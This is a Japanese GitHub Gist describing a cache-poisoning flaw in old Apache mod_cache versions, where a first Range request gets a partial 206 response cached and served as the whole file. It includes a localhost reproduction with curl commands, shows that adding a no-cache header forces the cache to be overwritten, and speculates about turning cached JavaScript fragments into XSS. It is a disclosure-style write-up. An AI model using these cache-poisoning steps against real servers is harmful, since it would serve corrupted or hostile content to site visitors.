Last active
April 6, 2020 02:42
-
-
Save kimoto/6b347dfbaa9f6a87c0c7 to your computer and use it in GitHub Desktop.
Apache + mod_cache の Rangeリクエスト を使った脆弱性について
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
概要 | |
・Apache/mod_cacheで、初回リクエストがHTTP Rangeリクエストだったときにコンテンツ断片をキャッシュしてしまう問題 | |
発生条件 | |
・Apacheが対象バージョンであること | |
・proxy先のコンテンツがHTTP Range Request (Partial Content)に対応している | |
・proxy先のコンテンツがcache-controlとexpiresヘッダーを出力しない | |
・mod_cache + mod_rewrite + mod_proxy使ってること | |
対象バージョン | |
・Apache 2.2系: 2.2.22以下のバージョン | |
・Apache 2.4系: 2.3.5以下のバージョン | |
・Apache 1.3系: 未確認。ソースぱっとみた感じおそらく直ってない。 | |
mod_cache, proxy_cache.c | |
対象バージョンの詳細 | |
・2.4系は 2.3.6 から直ってる | |
http://archive.apache.org/dist/httpd/CHANGES_2.3.6 | |
*) mod_disk_cache: Decline the opportunity to cache if the response is | |
a 206 Partial Content. This stops a reverse proxied partial response | |
from becoming cached, and then being served in subsequent responses. | |
[Graham Leggett] | |
・2.2 系は 2.2.23 から直ってる | |
http://ftp.riken.jp/net/apache/httpd/CHANGES_2.2 | |
*) mod_disk_cache, mod_mem_cache: Decline the opportunity to cache if the | |
response is a 206 Partial Content. This stops a reverse proxied partial | |
response from becoming cached, and then being served in subsequent | |
responses. PR 49113. [Graham Leggett]s | |
※これは脆弱性として処理されてる訳ではないっぽい | |
・1.3系 (1.3.42 = 最新) | |
ソースみた感じは普通に起こりえそうだけど入れるのめんどくさいので確認してない | |
再現手順 | |
$ wget http://archive.apache.org/dist/httpd/httpd-2.2.22.tar.gz | |
$ tar xvfz ./httpd-2.2.22.tar.gz | |
$ cd httpd-2.2.22 | |
$ ./configure --prefix=/tmp/httpd-2.2.22 --enable-cache --enable-disk-cache --enable-rewrite --enable-proxy --enable-expires | |
$ make && make install | |
$ cd /tmp/httpd-2.2.22 | |
$ cat << '_EOS_' > ./conf/httpd.conf | |
ServerRoot /tmp/httpd-2.2.22 | |
Listen 8081 | |
User daemon | |
Group daemon | |
ServerAdmin [email protected] | |
DocumentRoot "/tmp/httpd-2.2.22/htdocs" | |
ErrorLog "logs/error_log" | |
LogLevel debug | |
<VirtualHost *:8081> | |
RewriteEngine on | |
RewriteRule ^/proxy/(.+)$ /contents/$1 [P,L] | |
ExpiresActive On | |
ExpiresDefault "access plus 3 days" | |
CacheRoot /tmp/httpd-2.2.22/diskcache | |
CacheEnable disk /proxy | |
<Location "/contents"> | |
ExpiresActive Off | |
</Location> | |
</VirtualHost> | |
_EOS_ | |
$ mkdir -p ./htdocs/contents && mkdir -p ./diskcache | |
$ echo "hello world" > ./htdocs/contents/hello_world | |
$ ./bin/apachectl start | |
# 初回アクセス時にRangeリクエストで最初の4バイトだけを取得します | |
$ curl -H 'Range: bytes=0-3' http://localhost:8081/proxy/hello_world | |
hell | |
# キャッシュを確認します。hell だけキャッシュされています | |
$ cat ./diskcache/B5/m1/RJ/ns7ai8Icvdedk5NQ.data | |
hell | |
# 2回目のアクセス。Rangeリクエストを使わないで普通にアクセス | |
# 断片だけが保存されてしまっている | |
$ curl http://localhost:8081/proxy/hello_world | |
hell | |
# proxyを経由しないでアクセスしてみます | |
$ curl http://localhost:8081/contents/hello_world | |
hello world | |
# もっかいproxy側でアクセスしてみます | |
$ curl http://localhost:8081/proxy/hello_world | |
hell | |
問題の詳細 | |
・この問題はキャッシュの存在しないURLヘの初回アクセス時に、HTTP Range Request (Rangeヘッダー) を使って一部の部位を取得したときに起こる | |
・mod_cache/mod_disk_cache は初回アクセス時のproxy先からのbodyをそのままキャッシュし、2回目以降はそれをそのURLに対する完全なcacheとして扱うため | |
・問題のあるバージョンのmod_cacheは206のときにもキャッシュしてしまう。問題の起きない最近のバージョンでは206はキャッシュを作成しないようになっている | |
・ただしクライアントからの要求ヘッダーに Cache-Control: no-cache が付与されていた場合は、既存のキャッシュを破棄して作り直しているっぽい。なのでブラウザからキャッシュは作り直される(スーパーリロードすれば正常になるっぽい) | |
# 前の例の続きから実行する | |
$ curl -H 'Cache-Control: no-cache' http://localhost:8081/proxy/hello_world | |
hello world | |
$ curl http://localhost:8081/proxy/hello_world | |
hello world # キャッシュが再構築された | |
脆弱性、想定される攻撃パターン (実際に出来るかどうかは確認してない) | |
・キャッシュが存在しない(あるいは期限の切れた)初回アクセス時に、攻撃者がコンテンツ内の悪意ある部位を bytes=n-m でキャッシュさせ、不特定多数の人間に実行させることができる? | |
・キャッシュが存在していても、Cache-Control: no-cache ヘッダーを付加することで再構築させることが出来るので、これとRangeヘッダーを組み合わせて強制的に悪意あるキャッシュに上書きできる? | |
=> 出来ました | |
$ curl -v -H 'Cache-Control: no-cache' -H 'Range: bytes=0-3' http://localhost:8081/proxy/hello_world | |
hell | |
$ curl http://localhost:8081/proxy/hello_world | |
hell | |
・たとえばindex.htmlで<script type="text/javascript" src="./hoge.js" /> このように外部Javascriptファイルを参照してたときにその hoge.jsへの Rangeリクエストを行う。このときRangeリクエストでは複数の異なる範囲を返却できるようなので、(未確認) | |
------------------------------------- | |
bytes=500-600,601-999 | |
------------------------------------- | |
こんな感じで参照されてるjavascriptコードをうまいことくっつけて攻撃コードにすれば容易にXSS/CSRF行けるかも? | |
参考サイト: http://www.studyinghttp.net/range | |
↑これの追試結果: | |
Rangeで複数範囲指定すると multipart/form-data みたいのでかえってくるっぽいので攻撃コードにするのはなかなか難しいかも。 | |
でもいろいろ範囲指定せずに悪用する手順はありそうな感じはする | |
$ curl -H 'Range: bytes=0-0,1-10' http://localhost:8081/contents/hello_world | |
--4ed174f6a91ea2 | |
Content-type: text/plain | |
Content-range: bytes 0-0/12 | |
h | |
--4ed174f6a91ea2 | |
Content-type: text/plain | |
Content-range: bytes 1-10/12 | |
ello world | |
--4ed174f6a91ea2-- |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment